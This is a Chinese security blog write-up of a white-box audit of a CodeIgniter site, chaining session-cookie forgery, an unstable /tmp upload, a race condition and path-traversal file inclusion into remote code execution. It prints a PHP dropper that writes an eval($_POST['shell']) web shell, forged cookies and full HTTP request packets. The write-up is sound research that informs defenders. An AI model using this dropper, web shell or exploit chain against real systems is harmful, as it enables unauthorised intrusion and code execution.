长亭百川云 - 文章详情

记一次跌宕起伏的白盒审计到RCE

零鉴科技

66

2024-07-14

记一次跌宕起伏的白盒审计到RCE

零鉴科技

引言

在一次项目中,前期拿到了站点的源码,队里师傅白盒审出了一条曲折的利用链,现在对这条链的挖掘过程重新做一次复现并记录。

这条链涉及经典漏洞包括:session 伪造、任意文件上传、条件竞争、文件包含,每一个漏洞都非常经典,串在一起变成了一个 big boom。

前排说明:目标站点使用框架为 CodeIgniter,本文目的是技术研究和思路分享,涉及到关于目标站点的信息已被隐去,相关代码特征如变量、函数的命名也已替换,但代码的逻辑均保留,仍具备参考价值。

PART1.

找到上传点

检索一遍没有发现明显的命令注入、代码注入。

转而找上传或文件写入漏洞,主要关注 file_put_contents 和 move_uploaded_files 等函数

在某一个上传接口 /uploadController/uploadMethod 中,找到如下代码段:

`$fileInput = $_FILES;``$targetPath = "/tmp/";``$file = $targetPath . basename($fileInput['uploadedFile']['name']);``move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);``$multipartParams = [`    `......``];``$result = apiRequest(`    `'POST',`    `......`    `$multipartParams``);``if (file_exists($file)) {`   `unlink($file);``}`

代码的逻辑很清晰:

1.从 $_FILES 中提取出 uploadedFile 这个文件,保留上传时的文件名,并将其移动到 /tmp 目录下。2.构造一个表单,其中 imageFile 参数即为第一步中被移动的文件,然后和其他参数一起 POST 向另一个接口。3.经典“卸磨杀驴”,删除刚刚移动的文件。

然后这里就算是一个 “不稳定” 的文件上传点,路径为 /tmp/[上传文件名]

利用场景也 “被迫” 地让我们想好了:需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争,在文件被删除之前包含它,来达到执行代码的效果。

PART2.

找文件包含

目标是找到能控制文件路径的包含点,这里发现了一个 Meathods 类,它包含一个 method1 方法符合我们的需求。

`public function method1()``{`    `header('Content-Type: application/json');`    `$response = array();`    `if ($this->input->is_ajax_request()) {`        `$data = $this->input->post(null, true);`        `if (empty($data)) {`            `$data = $this->input->get(null, true);`        `}`        `$class = $data['class'];`        `$method = $data['method'];`        `if ($this->isMethodAllowed($method)) {`            `unset($data['class']);`            `unset($data['method']);`            `$this->load->model($class);`            `$response = $this->$class->$method($data);`        `}`    `}`    `return;``}`

这部分逻辑也很清晰

1.is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求,如果不是,则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点;2.从 post 参数中获取请求的变量,如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性,在绕过 waf 方面能给我们提供更多选择)。3.获取到对应的 $class 和 $method 之后,isMethodAllowed() 检查了被调用的方法是否被允许。4.调用框架定义好的 this->load->model 方法来加载对应的类。

避免有什么框架定义好的限制,有必要看一下 this->load->model 的逻辑。

$this->load =& load_class('Loader', 'core');

load_class() 函数是框架与定义的函数,它会去对应的路径包含对应的文件,并加载其中的类,这样我们就找到了 this->load,也就有了 model 函数的代码:

`public function model($model, $name = '', $db_conn = FALSE)``{`    `$path = '';`    `if (($last_slash = strrpos($model, '/')) !== FALSE)`    `{`        `$path = substr($model, 0, $last_slash + 1);`        `$model = substr($model, $last_slash + 1);`    `}`    `if ($name == '')`    `{`        `$name = $model;`    `}`    `$CI =& get_instance();`    `$model = strtolower($model);`    `foreach ($this->_ci_model_paths as $mod_path)`    `{`        `if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))`        `{`            `continue;`        `}`        `// 这里的 require_once 可以被利用来文件包含`        `require_once($mod_path.'models/'.$path.$model.'.php');`        `$CI->$name = new $model();`        `return;`    `}`    `......``}`

开发常见的问题,相信了用户的输入,没有对输入进行足够的过滤,这个函数没有对传入的参数 $model 做严格的过滤,导致可以通过 "../" 进行目录穿越,从而可以实现对任意文件的包含。

那么再回到调用 model 的地方再看:

`$this->load->model($class);``$response = $this->$class->$method($data);`

实例化了目标类之后,还调用了相应的方法,可谓非常贴心了。

PART3.

尝试利用

从目前已经掌握的漏洞点出发,已经可以构思出这个漏洞的利用方式,首先准备一个恶意的 php 文件准备上传:

`<?php``class TempClass{`    `function __construct(){`        `print('in __construct()\n');`        `file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));``    }`    `function getData1($params){`        `print('in getData1()\n');`    `}``}`

包含这个恶意文件并实例化 TempClass 时,会调用构造函数写入一个 /tmp/TempClass2.php,内容为:

`<?php``class TempClass2{`    `function __construct(){`       `print('in __contruct\n');`       `eval($_POST['shell']);`    `}`    `function getData1($params){`       `print('in getData1');`       `var_dump($params);`    `}``}`

那么,接下来需要找到这个上传的入口,在一处 js 中找到了对应的代码:

`$('.form-file').on('change', function () {`    `......`    `$(formId + '.form-upload').val(file[0].name);`    `var formData = new FormData();`    `formData.append('uploadedFile', file[0]);`    `......``});``......``context.methodsCall = function(formData) {`    `......`    `$.ajax({`        `url: '/uploadController/uploadMethod/',`        `type: 'POST',`        `data: formData,`        `dataType: 'json',`        `......`        `success: function (data) {`            `......`        `}`    `});``}`

从前端页面找到这个接口似乎不太方便,但是从 js 的逻辑中构建出请求包倒也不困难。

只是遗憾的是,尝试访问之后发现这个上传接口不能随意访问,所以还得从程序入口开始审计哪里做了鉴权。

PART4.

找到鉴权

代码定义了 Hooks 类,在对每一个控制器的进行操作前,都会先调用若干个 hooks 中定义的方法,其中和鉴权相关的方法位于:hooks/auth.php

鉴权相关的函数为 permissionCheck():

`function permissionCheck() {`    `......`    `$user = $CI->load->get_var('auth_user');`    `$permissions = $user['permissions'];`    `......`    `if (! in_array($action, $allow)) {`        `if (! isset($permissions[$controller][$action])) {`            `......`            `redirect('permissions/unauthorized');`        `}`    `}``}`

这里可以看到,我们想要调用的方法,需要在 $user['permissions'] 中被指定,$user 从 $CI->load->get_var('auth_user') 中来,auth_user 刚好在另一个 hooks 方法 loginCheck() 中被设置。

`function loginCheck() {`    `......`    `if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {`        `redirect('users/login');`    `}`    `elseif ($CI->session->userdata('logged_in')) {`        `$user = new User;`        `$user = $user->findUserById($CI->session->userdata('logged_in'));`        `if (empty($user)) {`            `$CI->session->destroySess();`            `redirect('users/login');`        `}`        `elseif (empty($user['permissions'])) {`            `$CI->session->destroySess();`            `redirect('users/login');`        `}`        `else {`            `$CI->session->setUserdata('user', $user);`            `$CI->load->vars('auth_user', $user);`        `}`        `if ($CI->router->method == 'login') redirect('users');`    `}``}`

直接来看 elseif 部分,对于已经登陆的用户,会根据用户 id 用 findUserById() 到数据库中查询相应的信息,其中包含一个 permissions 字段,似乎看到了我们想要的东西,之后又将用户信息用 $CI->load->vars 设置为一个 auth_user 变量,也就是 permissionCheck() 函数中参数的来源,

来看一下 findUserById() 具体操作了哪些数据库:

`public function findUserById($id = null) {`    `if ($id) {`        `$q = Doctrine_Query::create()`            `->from('User u')`            `->leftJoin('u.Role r')`            `->leftJoin('r.Permission p')`            `->leftJoin('u.Sessions s')`            `->where('u.id = ?', $id);`        `$user = $q->fetchOne();`        `Doctrine_Manager::connection()->close();`        `if (empty($user)) {`            `return array();`        `}`        `else {`            `$user = $user->toArray();`            `$permissions = array();`            `if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {`                `foreach ($user['Role']['Permission'] as $permission) {`                    `$permissions[$permission['controller']][$permission['action']] = $permission['id'];`                `}`            `}`            `$customData = $this->_unserialize($user['user_data']);`            `array_merge($permisssions, $customData['permission']);`            `$user['permissions'] = $permissions;`            `return $user;`        `}`    `}`    `else {`        `return array();`    `}``}`

跟踪 findUserById() 的逻辑发现,主要进行了数据库查询操作,但是对于 $permissions,还有一部分来自 session 相关的数据库。

PART5.

session伪造

常规数据库可能没办法直接修改,但是 session 数据库也许会伴随用户状态的改变而修改,那么如果 session 数据库中的信息可控,也可以达到我们的目的。

在 Session.php 中可以找到对 cookie 的相应操作。

`if ( ! $this->readSess())``{`    `$this->createSess();``}``else``{`    `$this->updateSess();``}``$this->markFlashdata();`

首先看一下 sess_read() 函数

`function readSess()``{`    `$session = $this->CI->input->cookie($this->sess_cookie_name);`    `...... (省略部分校验逻辑)`    `if ($this->sess_encrypt_cookie == TRUE)`    `{`        `$session = $this->CI->encrypt->decode($session);`    `}`    `$session = $this->_unserialize($session);`    `......(校验 User-Agent / IP / last_activity 相关)`    `if ($this->sess_use_database === TRUE)`    `{`        `......(通过数据库校验 User-Agent / IP / last_activity 相关)`        `$query = $this->CI->db->get($this->sess_table_name);`        `......`        `$row = $query->row();`        `if (isset($row->user_data) AND $row->user_data != '')`        `{`            `$customData = $this->_unserialize($row->user_data);`            `if (is_array($customData))`            `{`                `foreach ($customData as $key => $val)`                `{`                    `$session[$key] = $val;`                `}`            `}`        `}`    `}`    `$this->userdata = $session;`    `unset($session);`    `return TRUE;``}`

看起来都是常规的操作,

1.首先校验了 cookie 的合法性,在设置 cookie 时就用了尾部的签名了来做校验;(这部分逻辑在代码中省略)2.紧接着判断 cookie 中的其他特征,UA、ip 地址、过期时间等等是否合法;3.最后还有一些用户自定义的数据,这些自定义数据先从数据库中取得的,也被放到了 $session 变量中。

然而 $session 变量最开始却是从这里来的:$session = $this->_unserialize($session);

当然这里似乎还有潜在的反序列化漏洞,不过暂且先不关注。$session 最后在 $this->userdata = $session; 所以,如果我们直接在 cookie 中构造相应的数据结构,当它被反序列化到 $session 变量后,仍然可以被保存到 userdata 中。

紧接着 readSess() 之后, markFlashdata() 中调用了 setUserdata() 更新 $userdata,更进一步调用 writeSess() 写入到数据库中,

`function setUserdata($newdata = array(), $newval = '')``{`    `if (count($newdata) > 0)`    `{`        `foreach ($newdata as $key => $val)`        `{`            `$this->userdata[$key] = $val;`        `}`    `}`    `$this->writeSess();``}`

然后是 writeSess(),这里将 $userdata 做了分类处理,并写入了数据库

`function writeSess()``{`    `......`    `$customUserdata = $this->userdata;`    `$cookieUserdata = array();`    `foreach (array(.....) as $val)`    `{`        `unset($customUserdata[$val]);`        `$cookieUserdata[$val] = $this->userdata[$val];`    `}`    `$customUserdata = $this->_serialize($customUserdata);`    `$this->CI->db->where('session_id', $this->userdata['session_id']);`  `$this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));`    `......``}`

调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中,这也是我们想要操作的数据。

接下来就要着手伪造 cookie 了,本地执行对应的加解密算法。

加密部分:

`function encode($string, $key = '')``{`    `$key = $this->get_key($key);`    `$enc = $this->cryptEncode($string, $key);`    `return base64_encode($enc);``}`

解密部分:

`function decode($string, $key = '')``{`    `$key = $this->getKey($key);`    `if (preg_match('/[^a-zA-Z0-9\/\+=]/', $string))`    `{`        `return FALSE;`    `}`    `$dec = base64_decode($string);`    `if (($dec = $this->cryptDecode($dec, $key)) === FALSE)`    `{`        `return FALSE;`    `}`    `return $dec;``}`

$key 可以在配置文件中拿到。

具体 mcrypt_decode() 和 mcrypt_encode() 的代码很长,此处省略。

PART6.

正式攻击

首先用已经掌握的低权限账号密码登陆,登陆之后会得到一个已经 "logged_in" 的 cookie。

例如:

ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2

解密之后:

a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}

给这个序列化字符串加一点东西上去:

a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}

然后调用加密函数再生成新的 cookie:

ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07

具体利用过程中用到的请求包:

第一步:利用伪造的 cookie 进行上传

`part1:``   ``POST /uploadController/uploadMethod HTTP/1.1``......``Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07``Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac``Content-Length: xxx``   ``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"``Content-Type: image/png``   ``<?php``class TempClass{`    `function __construct(){`        `print('in __construct()\n');`        `file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));``    }`    `function getData1($params){`        `print('in getData1()\n');`    `}``}``?>``--------------------------85a71e8a43af37ac--`

第二步,因为需要条件竞争,可以考虑把这个上传包放到 intruder 里重放个几百次,然后在上传的过程中,去尝试包含 /tmp/TempClass.php ,来达到竞争的效果。

`part2:``   ``POST /Meathods/method1 HTTP/1.1``......``Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07``Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac``Content-Length: 314``   ``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="class"``   ``../../../../../../../../../../../../../../../../../../../../tmp/TempClass``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="method"``   ``getData1``--------------------------85a71e8a43af37ac--`

第三步,一旦包含成功,那么在实例化 TempClass 的时候,会写入一个新的 TempClass2,这下可没有代码会去 unlink 它了,可以被稳定的利用。

`part3:``   ``POST /Meathods/method1 HTTP/1.1``......``Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07``Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37ac``Content-Length: 433``   ``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="class"``   ``../../../../../../../../../../../../../../../../../../../../tmp/TempClass2``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="method"``   ``getData1``--------------------------85a71e8a43af37ac``Content-Disposition: form-data; name="shell"``   ``var_dump("hello,world");``--------------------------85a71e8a43af37ac--`

OK!打完收工。

REVIEW

稍微来总结一下整条利用链:

1.找到文件上传 -> 一个 “不稳定” 的文件上传2.找文件包含 -> 目录穿越导致任意文件包含3.条件竞争 -> 结合 1、2 条件竞争获得 RCE4.找权限控制 -> 伪造 cookie 得到任意接口的访问权限

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备2024055124号-2